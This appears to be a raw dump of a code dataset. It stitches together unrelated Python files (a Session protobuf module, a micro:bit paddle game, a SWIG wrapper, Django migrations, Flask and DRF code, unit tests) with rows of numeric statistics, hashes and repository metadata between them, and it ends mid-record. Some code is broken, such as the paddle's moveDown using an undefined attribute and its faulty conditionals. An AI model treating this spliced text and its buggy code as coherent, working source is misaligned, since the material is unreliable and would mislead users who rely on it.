_DATAEXTRACTIONNOTIFICATION, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataExtractionNotification) )) _sym_db.RegisterMessage(DataExtractionNotification) DataMessage = _reflection.GeneratedProtocolMessageType('DataMessage', (_message.Message,), dict( Quote = _reflection.GeneratedProtocolMessageType('Quote', (_message.Message,), dict( QuotedAttachment = _reflection.GeneratedProtocolMessageType('QuotedAttachment', (_message.Message,), dict( DESCRIPTOR = _DATAMESSAGE_QUOTE_QUOTEDATTACHMENT, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.Quote.QuotedAttachment) )) , DESCRIPTOR = _DATAMESSAGE_QUOTE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.Quote) )) , Preview = _reflection.GeneratedProtocolMessageType('Preview', (_message.Message,), dict( DESCRIPTOR = _DATAMESSAGE_PREVIEW, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.Preview) )) , LokiProfile = _reflection.GeneratedProtocolMessageType('LokiProfile', (_message.Message,), dict( DESCRIPTOR = _DATAMESSAGE_LOKIPROFILE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.LokiProfile) )) , OpenGroupInvitation = _reflection.GeneratedProtocolMessageType('OpenGroupInvitation', (_message.Message,), dict( DESCRIPTOR = _DATAMESSAGE_OPENGROUPINVITATION, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.OpenGroupInvitation) )) , ClosedGroupControlMessage = _reflection.GeneratedProtocolMessageType('ClosedGroupControlMessage', (_message.Message,), dict( KeyPairWrapper = _reflection.GeneratedProtocolMessageType('KeyPairWrapper', (_message.Message,), dict( DESCRIPTOR = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE_KEYPAIRWRAPPER, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.ClosedGroupControlMessage.KeyPairWrapper) )) , DESCRIPTOR = _DATAMESSAGE_CLOSEDGROUPCONTROLMESSAGE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage.ClosedGroupControlMessage) )) , DESCRIPTOR = _DATAMESSAGE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.DataMessage) )) _sym_db.RegisterMessage(DataMessage) _sym_db.RegisterMessage(DataMessage.Quote) _sym_db.RegisterMessage(DataMessage.Quote.QuotedAttachment) _sym_db.RegisterMessage(DataMessage.Preview) _sym_db.RegisterMessage(DataMessage.LokiProfile) _sym_db.RegisterMessage(DataMessage.OpenGroupInvitation) _sym_db.RegisterMessage(DataMessage.ClosedGroupControlMessage) _sym_db.RegisterMessage(DataMessage.ClosedGroupControlMessage.KeyPairWrapper) CallMessage = _reflection.GeneratedProtocolMessageType('CallMessage', (_message.Message,), dict( DESCRIPTOR = _CALLMESSAGE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.CallMessage) )) _sym_db.RegisterMessage(CallMessage) ConfigurationMessage = _reflection.GeneratedProtocolMessageType('ConfigurationMessage', (_message.Message,), dict( ClosedGroup = _reflection.GeneratedProtocolMessageType('ClosedGroup', (_message.Message,), dict( DESCRIPTOR = _CONFIGURATIONMESSAGE_CLOSEDGROUP, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.ConfigurationMessage.ClosedGroup) )) , Contact = _reflection.GeneratedProtocolMessageType('Contact', (_message.Message,), dict( DESCRIPTOR = _CONFIGURATIONMESSAGE_CONTACT, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.ConfigurationMessage.Contact) )) , DESCRIPTOR = _CONFIGURATIONMESSAGE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.ConfigurationMessage) )) _sym_db.RegisterMessage(ConfigurationMessage) _sym_db.RegisterMessage(ConfigurationMessage.ClosedGroup) _sym_db.RegisterMessage(ConfigurationMessage.Contact) ReceiptMessage = _reflection.GeneratedProtocolMessageType('ReceiptMessage', (_message.Message,), dict( DESCRIPTOR = _RECEIPTMESSAGE, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.ReceiptMessage) )) _sym_db.RegisterMessage(ReceiptMessage) AttachmentPointer = _reflection.GeneratedProtocolMessageType('AttachmentPointer', (_message.Message,), dict( DESCRIPTOR = _ATTACHMENTPOINTER, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.AttachmentPointer) )) _sym_db.RegisterMessage(AttachmentPointer) GroupContext = _reflection.GeneratedProtocolMessageType('GroupContext', (_message.Message,), dict( DESCRIPTOR = _GROUPCONTEXT, __module__ = 'sogs.session_pb2' # @@protoc_insertion_point(class_scope:signalservice.GroupContext) )) _sym_db.RegisterMessage(GroupContext) # @@protoc_insertion_point(module_scope)
42.81531
6,720
0.752192
8,393
70,474
6.045157
0.049684
0.053767
0.062913
0.045095
0.72249
0.655616
0.636735
0.605475
0.589235
0.567554
0
0.041355
0.126415
70,474
1,645
6,721
42.841337
0.782766
0.024037
0
0.691462
1
0.005175
0.175684
0.136545
0
0
0
0
0
1
0
false
0
0.003234
0
0.003234
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f62e60185e953c88ea0893ab945198bb9f6d9a2e
1,163
py
Python
paddle.py
polowis/ping-_pong_game
23467ab8ef01aa3f901bb5f17f8b11df4f4f3734
[ "Apache-2.0" ]
null
null
null
paddle.py
polowis/ping-_pong_game
23467ab8ef01aa3f901bb5f17f8b11df4f4f3734
[ "Apache-2.0" ]
null
null
null
paddle.py
polowis/ping-_pong_game
23467ab8ef01aa3f901bb5f17f8b11df4f4f3734
[ "Apache-2.0" ]
null
null
null
class Paddle(): def __init__(self, x1, x2 , y1, y2): self.x1 = x1 self.y1 = y1 self.x2 = x2 self.y2 = y2 #private method def __setPaddleRight(self): self.x1 = 4 self.x2 = 4 self.y1 = 0 self.y2 = 1 display.set_pixel(self.x1, self.y1, 9) display.set_pixel(self.x2, self.y2, 9) #private method def __setPaddleLeft(self): self.x1 = 0 self.x2 = 0 self.y1 = 4 self.y2 = 3 display.set_pixel(self.x1, self.y1, 9) display.set_pixel(self.x2, self.y2, 9) def startGame(self): self.__setPaddleLeft() self.__setPaddleRight() def moveUp(self): self.y1 -= 1 self.y2 -= 1 if self.y1 or self.y2 == 0: return self.y1, self.y2 def moveDown(self): self.y += 1 self.y += 1 if self.y1 or self.y2 == 0: return self.y1, self.y2 def getCurrentPosition(self): return self.x1, self.y1, self.x2, self.y2 def update(self): display.set_pixel(self.x1, self.y1, 9) display.set_pixel(self.x2, self.y2, 9)
22.803922
49
0.527945
167
1,163
3.568862
0.179641
0.120805
0.151007
0.191275
0.412752
0.412752
0.412752
0.412752
0.412752
0.412752
0
0.087533
0.351677
1,163
50
50
23.26
0.702918
0.024076
0
0.315789
0
0
0
0
0
0
0
0
0
1
0.210526
false
0
0
0.026316
0.315789
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
f6455329fd7ffb167c9c800128a8018574c6f150
1,929
py
Python
similarityworkbench/bin/mcs/Cmcs.py
gitanna/chemminetools
1cfef18bcd773421c95f8662857f31e363211cdc
[ "BSD-4-Clause-UC" ]
2
2017-12-11T23:17:40.000Z
2020-08-17T08:35:01.000Z
similarityworkbench/bin/mcs/Cmcs.py
gitanna/chemminetools
1cfef18bcd773421c95f8662857f31e363211cdc
[ "BSD-4-Clause-UC" ]
null
null
null
similarityworkbench/bin/mcs/Cmcs.py
gitanna/chemminetools
1cfef18bcd773421c95f8662857f31e363211cdc
[ "BSD-4-Clause-UC" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # This file was automatically generated by SWIG (http://www.swig.org). # Version 1.3.35 # # Don't modify this file, modify the SWIG interface instead. # This file is compatible with both classic and new-style classes. import _Cmcs import new new_instancemethod = new.instancemethod try: _swig_property = property except NameError: pass # Python < 2.2 doesn't have 'property'. def _swig_setattr_nondynamic( self, class_type, name, value, static=1, ): if name == 'thisown': return self.this.own(value) if name == 'this': if type(value).__name__ == 'PySwigObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name, None) if method: return method(self, value) if not static or hasattr(self, name): self.__dict__[name] = value else: raise AttributeError('You cannot add attributes to %s' % self) def _swig_setattr( self, class_type, name, value, ): return _swig_setattr_nondynamic(self, class_type, name, value, 0) def _swig_getattr(self, class_type, name): if name == 'thisown': return self.this.own() method = class_type.__swig_getmethods__.get(name, None) if method: return method(self) raise AttributeError, name def _swig_repr(self): try: strthis = 'proxy of ' + self.this.__repr__() except: strthis = '' return '<%s.%s; %s >' % (self.__class__.__module__, self.__class__.__name__, strthis) import types try: _object = types.ObjectType _newclass = 1 except AttributeError: class _object: pass _newclass = 0 del types max = _Cmcs.max read_graph = _Cmcs.read_graph parse_sdf = _Cmcs.parse_sdf get_best = _Cmcs.get_best is_null = _Cmcs.is_null set_timeout = _Cmcs.set_timeout
20.967391
70
0.645931
248
1,929
4.685484
0.399194
0.046472
0.04475
0.05852
0.204819
0.185886
0.185886
0.134251
0
0
0
0.007628
0.252462
1,929
91
71
21.197802
0.798197
0.147227
0
0.333333
1
0
0.050122
0
0
0
0
0
0
0
null
null
0.031746
0.047619
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
f6479e03d980f6f858785f0e3a94abe6a8988fd2
731
py
Python
cogs/__init__.py
Cenoon/yin-bot
8324b4ef75e42ce11bb3545e4c4db8999cdf1f58
[ "MIT" ]
null
null
null
cogs/__init__.py
Cenoon/yin-bot
8324b4ef75e42ce11bb3545e4c4db8999cdf1f58
[ "MIT" ]
null
null
null
cogs/__init__.py
Cenoon/yin-bot
8324b4ef75e42ce11bb3545e4c4db8999cdf1f58
[ "MIT" ]
null
null
null
from cogs.admin import Admin from cogs.filter import Filter from cogs.gateway import Gateway from cogs.info import Info from cogs.logging import Logging from cogs.moderation import Moderation from cogs.owner import Owner from cogs.pings import Pings from cogs.rng import RNG from cogs.roles import Roles from cogs.autoassign import AutoAssign from cogs.slowmode import Slowmode from cogs.stats import Stats from cogs.voice import Voice from cogs.warnings import Warnings __all__ = [ 'Admin', 'AutoAssign', 'Filter', 'Gateway', 'Info', 'Logging', 'Moderation', 'Owner', 'Pings', 'RNG', 'Roles', 'Slowmode', 'Stats', 'Voice', 'Warnings' ]
21.5
39
0.678523
91
731
5.406593
0.208791
0.243902
0
0
0
0
0
0
0
0
0
0
0.236662
731
33
40
22.151515
0.88172
0
0
0
0
0
0.133238
0
0
0
0
0
0
1
0
false
0
0.46875
0
0.46875
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
f64aa64221bd8633d27de04265876c9bfe04c92b
1,001
py
Python
QRSMS/initial/migrations/0037_auto_20200415_0658.py
Srishti-Ahuja/QRSMS-V1
1f2fa82e8ddaeb62e633fcd6a136696355317bba
[ "Apache-2.0" ]
4
2020-06-16T09:42:20.000Z
2021-11-24T08:18:16.000Z
QRSMS/initial/migrations/0037_auto_20200415_0658.py
Srishti-Ahuja/QRSMS-V1
1f2fa82e8ddaeb62e633fcd6a136696355317bba
[ "Apache-2.0" ]
7
2021-04-08T21:57:34.000Z
2022-02-27T06:41:15.000Z
QRSMS/initial/migrations/0037_auto_20200415_0658.py
Srishti-Ahuja/QRSMS-V1
1f2fa82e8ddaeb62e633fcd6a136696355317bba
[ "Apache-2.0" ]
7
2020-11-29T09:45:44.000Z
2022-03-30T15:27:33.000Z
# Generated by Django 2.2 on 2020-04-15 01:58 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('initial', '0036_auto_20200414_0456'), ] operations = [ migrations.AlterField( model_name='sectionattendance', name='class_date', field=models.DateField(blank=True, default=datetime.date.today, null=True), ), migrations.AlterField( model_name='semester', name='end_date', field=models.DateField(default=datetime.date.today), ), migrations.AlterField( model_name='semester', name='start_date', field=models.DateField(default=datetime.date.today), ), migrations.AlterField( model_name='studentattendance', name='class_date', field=models.DateField(blank=True, default=datetime.date.today, null=True), ), ]
28.6
87
0.599401
98
1,001
6.010204
0.418367
0.135823
0.169779
0.196944
0.602716
0.602716
0.512733
0.512733
0.512733
0.512733
0
0.042076
0.287712
1,001
34
88
29.441176
0.784011
0.042957
0
0.571429
1
0
0.123431
0.024059
0
0
0
0
0
1
0
false
0
0.071429
0
0.178571
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f653a9dcb00d3b46fc9e0f23f723016551219f19
765
py
Python
bokchoy/utils/types.py
ulule/bokchoy
58afaf325ce275edf5c4a955379afb1cc5eb5de3
[ "MIT" ]
null
null
null
bokchoy/utils/types.py
ulule/bokchoy
58afaf325ce275edf5c4a955379afb1cc5eb5de3
[ "MIT" ]
null
null
null
bokchoy/utils/types.py
ulule/bokchoy
58afaf325ce275edf5c4a955379afb1cc5eb5de3
[ "MIT" ]
null
null
null
import datetime from bokchoy.compat import as_text def enum(name, *sequential, **named): values = dict(zip(sequential, range(len(sequential))), **named) # NOTE: Yes, we *really* want to cast using str() here. # On Python 2 type() requires a byte string (which is str() on Python 2). # On Python 3 it does not matter, so we'll use str(), which acts as # a no-op. return type(str(name), (), values) def utcformat(dt): return dt.strftime('%Y-%m-%dT%H:%M:%SZ') def utcparse(string): return datetime.datetime.strptime(as_text(string), '%Y-%m-%dT%H:%M:%SZ') def safe_int(value): if value is not None: try: return int(value) except (TypeError, ValueError): return None return None
23.90625
77
0.626144
116
765
4.103448
0.577586
0.05042
0.037815
0.021008
0.046218
0.046218
0.046218
0
0
0
0
0.005128
0.235294
765
31
78
24.677419
0.808547
0.261438
0
0.125
0
0
0.064286
0
0
0
0
0
0
1
0.25
false
0
0.125
0.125
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
f65842c1c1f7f3d7fd7281f633a8f128dedaad11
1,582
py
Python
tests/test_area.py
Leikt/map_generator
86c6359ed84056f32642cb7e23db855beba62923
[ "MIT" ]
1
2021-06-09T10:02:04.000Z
2021-06-09T10:02:04.000Z
tests/test_area.py
Leikt/map_generator
86c6359ed84056f32642cb7e23db855beba62923
[ "MIT" ]
null
null
null
tests/test_area.py
Leikt/map_generator
86c6359ed84056f32642cb7e23db855beba62923
[ "MIT" ]
null
null
null
#! /usr/bin/env python3 # coding: utf-8 import unittest from src.helpers.area import Area, OffsetedArea class Test_Area(unittest.TestCase): def test_coordinates(self): area = Area(5, 10) self.assertEqual(area.surface, 5 * 10) self.assertEqual(area.width, 5) self.assertEqual(area.height, 10) minX = maxX = minY = maxY = counter = 0 for x, y in area: minX = min(x, minX) minY = min(y, minY) maxX = max(x, maxX) maxY = max(y, maxY) counter += 1 if counter > area.surface: break self.assertEqual(minX, 0) self.assertEqual(minY, 0) self.assertEqual(maxX, 4) self.assertEqual(maxY, 9) self.assertEqual(counter, area.surface) class Test_OffsetedArea(unittest.TestCase): def test_coordinates(self): area = OffsetedArea(5, 10, -3, -8) self.assertEqual(area.surface, 5 * 10) self.assertEqual(area.width, 5) self.assertEqual(area.height, 10) self.assertEqual(area.offset_x, -3) self.assertEqual(area.offset_y, -8) minX = maxX = minY = maxY = counter = 0 for x, y in area: minX = min(x, minX) minY = min(y, minY) maxX = max(x, maxX) maxY = max(y, maxY) counter += 1 if counter > area.surface: break self.assertEqual(minX, -3) self.assertEqual(minY, -8) self.assertEqual(maxX, 1) self.assertEqual(maxY, 1) self.assertEqual(counter, area.surface)
32.285714
47
0.570164
198
1,582
4.525253
0.227273
0.301339
0.169643
0.09375
0.652902
0.575893
0.575893
0.482143
0.482143
0.482143
0
0.033241
0.315424
1,582
49
48
32.285714
0.79409
0.022756
0
0.619048
0
0
0
0
0
0
0
0
0.428571
1
0.047619
false
0
0.047619
0
0.142857
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
f659ecf0fae560025107fcbe993917bd2e3d3fd5
1,208
py
Python
pythran/analyses/global_declarations.py
PierreBlancfat/pythran2
37869bc73aae1054253c2b1643aee5c63f11b7e8
[ "BSD-3-Clause" ]
null
null
null
pythran/analyses/global_declarations.py
PierreBlancfat/pythran2
37869bc73aae1054253c2b1643aee5c63f11b7e8
[ "BSD-3-Clause" ]
null
null
null
pythran/analyses/global_declarations.py
PierreBlancfat/pythran2
37869bc73aae1054253c2b1643aee5c63f11b7e8
[ "BSD-3-Clause" ]
null
null
null
""" GlobalDeclarations gathers top-level declarations. """ from pythran.passmanager import ModuleAnalysis from beniget import DefUseChains import sys class SilentDefUseChains(DefUseChains): def unbound_identifier(self, name, node): pass class GlobalDeclarations(ModuleAnalysis): """ Gather all kind of identifier defined at global scope. >>> import gast as ast >>> from pythran import passmanager >>> from pythran.analyses import GlobalDeclarations >>> node = ast.parse(''' ... import math ... import math as maths ... from math import cos ... c = 12 ... def foo(a): ... b = a + 1''') >>> pm = passmanager.PassManager("test") >>> sorted(pm.gather(GlobalDeclarations, node).keys()) ['c', 'cos', 'foo', 'math', 'maths'] """ def __init__(self): """ Result is an identifier with matching definition. """ self.result = dict() super(GlobalDeclarations, self).__init__() def visit_Module(self, node): """ Import module define a new variable name. """ duc = SilentDefUseChains() duc.visit(node) for d in duc.locals[node]: self.result[d.name()] = d.node
26.844444
65
0.623344
133
1,208
5.586466
0.503759
0.044415
0
0
0
0
0
0
0
0
0
0.003286
0.244205
1,208
44
66
27.454545
0.810515
0.483444
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0.133333
0.2
0
0.533333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
f66cff904965ef3bc07da5fc625bf0da2fbc6f00
1,397
py
Python
examples/action_models/AD5_Resource_Wrong_Test.py
pcyoung75/SysMPy
2684e28eb8ad63c351e3327591bc2d988480e6a3
[ "Apache-2.0" ]
null
null
null
examples/action_models/AD5_Resource_Wrong_Test.py
pcyoung75/SysMPy
2684e28eb8ad63c351e3327591bc2d988480e6a3
[ "Apache-2.0" ]
null
null
null
examples/action_models/AD5_Resource_Wrong_Test.py
pcyoung75/SysMPy
2684e28eb8ad63c351e3327591bc2d988480e6a3
[ "Apache-2.0" ]
null
null
null
from sysmpy import * import asyncio """ +---------------+ | | | start | | | +---------------+ | process | +---------------+ | | | Action1 | | | +---------------+ | (Resource1) | | +---------------+ | | | | | Action2 |<------+ | | +---------------+ | | +---------------+ | | | End | | | +---------------+ """ print('AD5_Resource_Wrong_Test') ############################################### # 1 Define a model p = Process("process 1") act1 = p.Action("Action1") act2 = p.Action("Action2") r1 = Resource("Resource1", amount=20) # This will be waiting forever, because all resources are exhausted. act2.consumes(r1) ############################################### # 2 Run a simulation asyncio.run(p.sim(print_out=True))
28.510204
68
0.213314
61
1,397
4.819672
0.704918
0.047619
0
0
0
0
0
0
0
0
0
0.027375
0.555476
1,397
48
69
29.104167
0.446055
0.073014
0
0
0
0
0.219124
0.091633
0
0
0
0
0
1
0
false
0
0.222222
0
0.222222
0.222222
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f673203eb20e3c73b91e2c71d5c0b87ec940ab58
883
py
Python
app/__init__.py
gibran-abdillah/flask-blog-app
17a1b4a9ba4fd56c92104ddd2c4d8a18365d292a
[ "MIT" ]
null
null
null
app/__init__.py
gibran-abdillah/flask-blog-app
17a1b4a9ba4fd56c92104ddd2c4d8a18365d292a
[ "MIT" ]
null
null
null
app/__init__.py
gibran-abdillah/flask-blog-app
17a1b4a9ba4fd56c92104ddd2c4d8a18365d292a
[ "MIT" ]
1
2021-12-18T02:36:22.000Z
2021-12-18T02:36:22.000Z
from flask_sqlalchemy import SQLAlchemy from flask import Flask from flask_login import LoginManager from config import conf_obj from .utils.mail import Mail login_manager = LoginManager() db = SQLAlchemy() mail = Mail() def create_app(env_type: str='development'): app = Flask(__name__) app.config.from_object(conf_obj[env_type]) # import and init the blueprint from app.main import main_blueprint from app.auth import auth_blueprint from app.api import api_blueprint from app.dashboard import dashboard_blueprint app.register_blueprint(api_blueprint) app.register_blueprint(main_blueprint) app.register_blueprint(auth_blueprint) app.register_blueprint(dashboard_blueprint) # init the extensions login_manager.init_app(app) db.init_app(app) if env_type != 'testing': mail.init_app(app) return app
25.970588
49
0.751982
120
883
5.283333
0.291667
0.082019
0.100946
0.182965
0
0
0
0
0
0
0
0
0.1812
883
33
50
26.757576
0.876902
0.055493
0
0
0
0
0.021661
0
0
0
0
0
0
1
0.041667
false
0
0.375
0
0.458333
0.333333
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
9c911d0ade1676143353ef0100724e5fc4390a74
1,796
py
Python
server/apps/vartype/api_views.py
iotile/iotile_cloud
9dc65ac86d3a730bba42108ed7d9bbb963d22ba6
[ "MIT" ]
null
null
null
server/apps/vartype/api_views.py
iotile/iotile_cloud
9dc65ac86d3a730bba42108ed7d9bbb963d22ba6
[ "MIT" ]
null
null
null
server/apps/vartype/api_views.py
iotile/iotile_cloud
9dc65ac86d3a730bba42108ed7d9bbb963d22ba6
[ "MIT" ]
null
null
null
import logging from django.utils.decorators import method_decorator from django_filters.rest_framework import DjangoFilterBackend from rest_framework import filters, viewsets from apps.utils.rest.cached_views import cache_on_auth from apps.utils.rest.permissions import HasAuthAPIKeyNoOrg, IsStaffOrReadOnly, ReadOnly from .models import VarType from .serializers import VarTypeReadOnlySerializer logger = logging.getLogger(__name__) class APIVarTypeViewSet(viewsets.ModelViewSet): """ A VarType represents a Variable Type. Like with a typed SW program, the Variable needs to have a type, so the cloud know how to process it or display it. For example, a water meter sensor will have a VarType representing Volume, with liters as its database stored representation, but with input and output units representing Gallons, Liters and other units of volume """ lookup_field = 'slug' queryset = VarType.objects.none() serializer_class = VarTypeReadOnlySerializer permission_classes = [HasAuthAPIKeyNoOrg&ReadOnly | IsStaffOrReadOnly] filterset_fields = ('created_by',) filter_backends = (filters.SearchFilter, DjangoFilterBackend,) search_fields = ('name',) def get_queryset(self): """ This view should return a list of all records """ return VarType.objects.all().prefetch_related('input_units', 'output_units', 'decoder') def perform_create(self, serializer): # Include the owner attribute directly, rather than from request data. instance = serializer.save(created_by=self.request.user) @method_decorator(cache_on_auth(60 * 15, key_prefix="api:vartype")) def dispatch(self, *args, **kwargs): return super(APIVarTypeViewSet, self).dispatch(*args, **kwargs)
38.212766
115
0.749443
217
1,796
6.073733
0.589862
0.015175
0.028832
0.025797
0
0
0
0
0
0
0
0.002701
0.17539
1,796
46
116
39.043478
0.887238
0.268374
0
0
0
0
0.047012
0
0
0
0
0
0
1
0.125
false
0
0.333333
0.041667
0.875
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
9c96541f6a127802dcaa7f654766c2de88ffe348
1,157
py
Python
plume/exception.py
vbatoufflet/plume
3262173c5c291359ca3294c30a05c042bd13d247
[ "BSD-3-Clause" ]
1
2016-11-25T08:39:31.000Z
2016-11-25T08:39:31.000Z
plume/exception.py
vbatoufflet/plume
3262173c5c291359ca3294c30a05c042bd13d247
[ "BSD-3-Clause" ]
null
null
null
plume/exception.py
vbatoufflet/plume
3262173c5c291359ca3294c30a05c042bd13d247
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # # Copyright (c) 2013 Vincent Batoufflet. # # License: BSD, see LICENSE for more details. # from flask.ext.babel import _ class GenericException(Exception): message = None def __init__(self, **kwargs): Exception.__init__(self) [setattr(self, x, y) for x, y in kwargs.iteritems()] def __str__(self): return self.message class BackendException(GenericException): pass # 4XX class InvalidRequest(BackendException): status = 400 message = _('Invalid request') class InvalidRevisionNumber(BackendException): status = 400 message = _('Invalid revision number') class DocumentAlreadyExists(BackendException): status = 404 message = _('Document already exists') class DocumentNotFound(BackendException): status = 404 message = _('No such document') class PasswordTooShort(BackendException): status = 400 message = _('Password is too short') # 5XX class EmptyDocumentPath(BackendException): status = 500 message = _('Empty document path') class EmptyUserName(BackendException): status = 500 message = _('Empty user name')
18.365079
60
0.68885
117
1,157
6.641026
0.57265
0.198198
0.096525
0.123552
0.195624
0
0
0
0
0
0
0.030635
0.210026
1,157
62
61
18.66129
0.819475
0.096802
0
0.225806
0
0
0.127413
0
0
0
0
0
0
1
0.064516
false
0.096774
0.032258
0.032258
0.903226
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
9ca0deb5ef2c4f5ba39c73b7cf4abdc8bbaefd83
1,368
py
Python
custom/icds_reports/migrations/0189_new_fields_to_bihar_demogrpahics.py
roboton/commcare-hq
3ccbe59508d98dd1963ca87cf249dd2df8af8ecc
[ "BSD-3-Clause" ]
1
2020-07-14T13:00:23.000Z
2020-07-14T13:00:23.000Z
custom/icds_reports/migrations/0189_new_fields_to_bihar_demogrpahics.py
roboton/commcare-hq
3ccbe59508d98dd1963ca87cf249dd2df8af8ecc
[ "BSD-3-Clause" ]
null
null
null
custom/icds_reports/migrations/0189_new_fields_to_bihar_demogrpahics.py
roboton/commcare-hq
3ccbe59508d98dd1963ca87cf249dd2df8af8ecc
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.28 on 2020-05-10 08:23 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('icds_reports', '0188_rebuild_view_bihar_api'), ] operations = [ migrations.AddField( model_name='biharapidemographics', name='age_marriage', field=models.SmallIntegerField(null=True), ), migrations.AddField( model_name='biharapidemographics', name='last_referral_date', field=models.DateField(null=True), ), migrations.AddField( model_name='biharapidemographics', name='migrate_date', field=models.DateTimeField(null=True), ), migrations.AddField( model_name='biharapidemographics', name='referral_health_problem', field=models.TextField(null=True), ), migrations.AddField( model_name='biharapidemographics', name='referral_reached_date', field=models.DateField(null=True), ), migrations.AddField( model_name='biharapidemographics', name='referral_reached_facility', field=models.SmallIntegerField(null=True), ), ]
30.4
56
0.600146
121
1,368
6.570248
0.454545
0.135849
0.173585
0.203774
0.623899
0.543396
0.479245
0.479245
0.405031
0.320755
0
0.022822
0.295322
1,368
44
57
31.090909
0.801867
0.050439
0
0.578947
1
0
0.208333
0.074074
0
0
0
0
0
1
0
false
0
0.052632
0
0.131579
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9cab4ce2189fd5d7f268e74a138e7599c87528ed
548
py
Python
tests/r/test_macdonell_df.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
199
2017-07-24T01:34:27.000Z
2022-01-29T00:50:55.000Z
tests/r/test_macdonell_df.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
46
2017-09-05T19:27:20.000Z
2019-01-07T09:47:26.000Z
tests/r/test_macdonell_df.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
45
2017-07-26T00:10:44.000Z
2022-03-16T20:44:59.000Z
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.macdonell_df import macdonell_df def test_macdonell_df(): """Test module macdonell_df.py by downloading macdonell_df.csv and testing shape of extracted data has 3000 rows and 2 columns """ test_path = tempfile.mkdtemp() x_train, metadata = macdonell_df(test_path) try: assert x_train.shape == (3000, 2) except: shutil.rmtree(test_path) raise()
22.833333
52
0.768248
78
548
5.064103
0.538462
0.167089
0.121519
0
0
0
0
0
0
0
0
0.021978
0.169708
548
23
53
23.826087
0.846154
0.224453
0
0
0
0
0
0
0
0
0
0
0.066667
1
0.066667
false
0
0.466667
0
0.533333
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
9cbf28fba62ab2cb2ec4a316a103e93e8a743656
5,255
py
Python
dpa/imgres/__init__.py
Clemson-DPA/dpa-pipe
2482b8a0fd96dc19c0be4e82c3eaf0508914a968
[ "MIT" ]
55
2015-07-15T02:33:55.000Z
2020-12-28T08:02:54.000Z
dpa/imgres/__init__.py
Clemson-DPA/dpa-pipe
2482b8a0fd96dc19c0be4e82c3eaf0508914a968
[ "MIT" ]
5
2015-07-11T03:21:10.000Z
2016-12-27T12:20:07.000Z
dpa/imgres/__init__.py
Clemson-DPA/dpa-pipe
2482b8a0fd96dc19c0be4e82c3eaf0508914a968
